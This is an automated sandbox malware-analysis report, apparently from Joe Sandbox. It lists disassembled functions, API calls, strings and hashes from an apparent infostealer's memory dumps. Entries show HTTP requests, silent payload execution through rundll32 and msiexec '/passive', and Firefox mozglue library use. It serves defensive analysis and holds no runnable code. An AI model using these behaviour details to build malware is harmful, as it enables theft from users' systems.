Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: dd949453fafdbf4c4efb876e5ddd1b42c1b2e672e3bb49abecd9af253adf6a0d
Instruction ID: db5c2198df82680a2d3ede71fadff621681ebad3d5e0b9a4c00c2274350a273c
Opcode Fuzzy Hash: dd949453fafdbf4c4efb876e5ddd1b42c1b2e672e3bb49abecd9af253adf6a0d
Instruction Fuzzy Hash: D3E1DF71910108ABDB18FBA8DC95FEEB778FF14300F40416AF516A6192EF346A46CB63

Function 6CAA9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA931C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA93217
Part of subcall function 6CA931C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA93236
Part of subcall function 6CA931C0: FreeLibrary.KERNEL32 ref: 6CA9324B
Part of subcall function 6CA931C0: __Init_thread_footer.LIBCMT ref: 6CA93260
Part of subcall function 6CA931C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA9327F
Part of subcall function 6CA931C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA9328E
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA932AB
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA932D1
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA932E5
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA932F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAA9675
__Init_thread_footer.LIBCMT ref: 6CAA9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAA96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAA9707
__Init_thread_footer.LIBCMT ref: 6CAA971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAA97B7
FreeLibrary.KERNEL32 ref: 6CAA97D0
FreeLibrary.KERNEL32 ref: 6CAA97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9824

Strings

MapViewOfFileNuma2, xrefs: 6CAA97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAA9670
ntdll.dll, xrefs: 6CAA96E3
NtMapViewOfSection, xrefs: 6CAA9701

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 6c19140d320bb5f2e91fcbb9820011172920dc0440f4f61eb1d458ecaab4c464
Instruction ID: 2fed7797344d794eb837e264eb0a70802a1327720401166b4713cb5df1ac47b8
Opcode Fuzzy Hash: 6c19140d320bb5f2e91fcbb9820011172920dc0440f4f61eb1d458ecaab4c464
Instruction Fuzzy Hash: 43612671704301DFDF00CFB8DA8AB9A7BB5EB4A324F044529E91583F90D731A899CBA1

Function 00889010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0088906C

Strings

image/jpeg, xrefs: 00889136

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 9a226cedbc707f273bb120e124579a1f17de9acda20d0e71d4083508ba68a811
Instruction ID: b822a428a7cc26897dd1b631b6fcfe3665a3457f07a4dbb7aebb295f626d51f2
Opcode Fuzzy Hash: 9a226cedbc707f273bb120e124579a1f17de9acda20d0e71d4083508ba68a811
Instruction Fuzzy Hash: FE71FCB5910208ABDB04EBE4DC89FEDB7B9FF58700F148608F515E7291DB34A945CB61

Function 6CAED4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAED4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED52A
GetCurrentThreadId.KERNEL32 ref: 6CAED530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED55F
free.MOZGLUE(00000000), ref: 6CAED585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAED5D3
GetCurrentThreadId.KERNEL32 ref: 6CAED5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED652
GetCurrentThreadId.KERNEL32 ref: 6CAED658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED6A2

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 6047b9e2f2258ad85bd1c0cfa929347c87672e7b74a4173d850991d6d1c7d1af
Instruction ID: e3fe5478cf56a45b60e20eec7c358d271f1c648b9bc205b8e59f42221032aa12
Opcode Fuzzy Hash: 6047b9e2f2258ad85bd1c0cfa929347c87672e7b74a4173d850991d6d1c7d1af
Instruction Fuzzy Hash: 84516FB1A04705DFC704DF34C489A9ABBF4FF89358F104A2DE85A87B11DB31A989CB91

Function 008817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 008817C5
ExitProcess.KERNEL32 ref: 008817D1

Strings

block, xrefs: 008817B7

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 298aeb6deb1853e9b43a67d87d49febb186973f81cccb1c5c407bc616bea43f2
Instruction ID: 439121bc3fa5d0269876f95e0cb72b33ceec385fad520e5d5ee92c56bbc36ac9
Opcode Fuzzy Hash: 298aeb6deb1853e9b43a67d87d49febb186973f81cccb1c5c407bc616bea43f2
Instruction Fuzzy Hash: 405158B4A00209EFDF04EFE4D958ABE7BB9FF44704F108159E406E7291DB74A952CB62

Function 00882E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

ShellExecuteEx.SHELL32(0000003C), ref: 008831C5
ShellExecuteEx.SHELL32(0000003C), ref: 0088335D
ShellExecuteEx.SHELL32(0000003C), ref: 008834EA

Strings

/i ", xrefs: 008833E4
.msi, xrefs: 00883398
C:\Windows\system32\msiexec.exe, xrefs: 008834BF
.dll, xrefs: 008831E5
"" , xrefs: 0088309A
<, xrefs: 00883490
C:\Windows\system32\rundll32.exe, xrefs: 00883332
/passive, xrefs: 0088345B

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 9004911aab22e57f436223e191caf17b8fc6f6993f4f039c01cce31fea24321c
Instruction ID: daaa66ca6184e802bcb08985240e21bb5be24e968122f08ab3de2e33351bb5a2
Opcode Fuzzy Hash: 9004911aab22e57f436223e191caf17b8fc6f6993f4f039c01cce31fea24321c
Instruction Fuzzy Hash: D112DC718001189AEB19FBA4DD92EDDB778FF14300F50416AE506A61D2EF382B4ACF63

Function 6CADEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADEC8C

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADECA1
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CADECC5
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CADED19
CloseHandle.KERNEL32(?), ref: 6CADED28
free.MOZGLUE(00000000), ref: 6CADED2F
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CADEC94

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 32c35bf24fd2c1ad01f8ffee2dc04aa087b674a3d3442a94f20435c45ce3367d
Instruction ID: 6b320c25c813ce61d88e98c613ce10ab3deaaa2e5f9bdb91a49cfdc91ecbe394
Opcode Fuzzy Hash: 32c35bf24fd2c1ad01f8ffee2dc04aa087b674a3d3442a94f20435c45ce3367d
Instruction Fuzzy Hash: 5421E2B6600108AFEF009F65D809B9ABB79FB4626CF154210FC1897F41DB31A859CBE1

Function 008852C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 00876280: InternetOpenA.WININET(00890DFE,00000001,00000000,00000000,00000000), ref: 008762E1
Part of subcall function 00876280: StrCmpCA.SHLWAPI(?,010FEB98), ref: 00876303
Part of subcall function 00876280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00876335
Part of subcall function 00876280: HttpOpenRequestA.WININET(00000000,GET,?,010FE570,00000000,00000000,00400100,00000000), ref: 00876385
Part of subcall function 00876280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008763BF
Part of subcall function 00876280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008763D1

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00885318
lstrlen.KERNEL32(00000000), ref: 0088532F

Part of subcall function 00888E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00888E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00885364
lstrlen.KERNEL32(00000000), ref: 00885383
lstrlen.KERNEL32(00000000), ref: 008853AE

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Strings

ERROR, xrefs: 0088546F
ERROR, xrefs: 008853B9
ERROR, xrefs: 008854A9
ERROR, xrefs: 0088530A
ERROR, xrefs: 00885432

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 090f4a40cd75b7773cd567b726c3e0bba10120bb7a62878529e6f7f68993b498
Instruction ID: 519b1509bfe3cd47bdcd74cbbee5e72b02de84ba96149eda9ed57d350f137a1b
Opcode Fuzzy Hash: 090f4a40cd75b7773cd567b726c3e0bba10120bb7a62878529e6f7f68993b498
Instruction Fuzzy Hash: 2B51CA709101499BEB18FF68C996AED7779FF50300F504029E40ADA5D2EF386B46DBA3

Function 6CA93480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA93492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA934A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA934EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA9350E
__Init_thread_footer.LIBCMT ref: 6CA93522
__aulldiv.LIBCMT ref: 6CA93552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA9357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CA93592

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

Strings

kernel32.dll, xrefs: 6CA934EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA93508

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b5b4ad6c16d55ba135209ad6b8eed46d8d62fcf6019b96d4dfaf3f249637755f
Instruction ID: 266d4ff1f9b3dd9d7f0d16a33b323fa58d64ae7df8494ce3d0e84db702e90f59
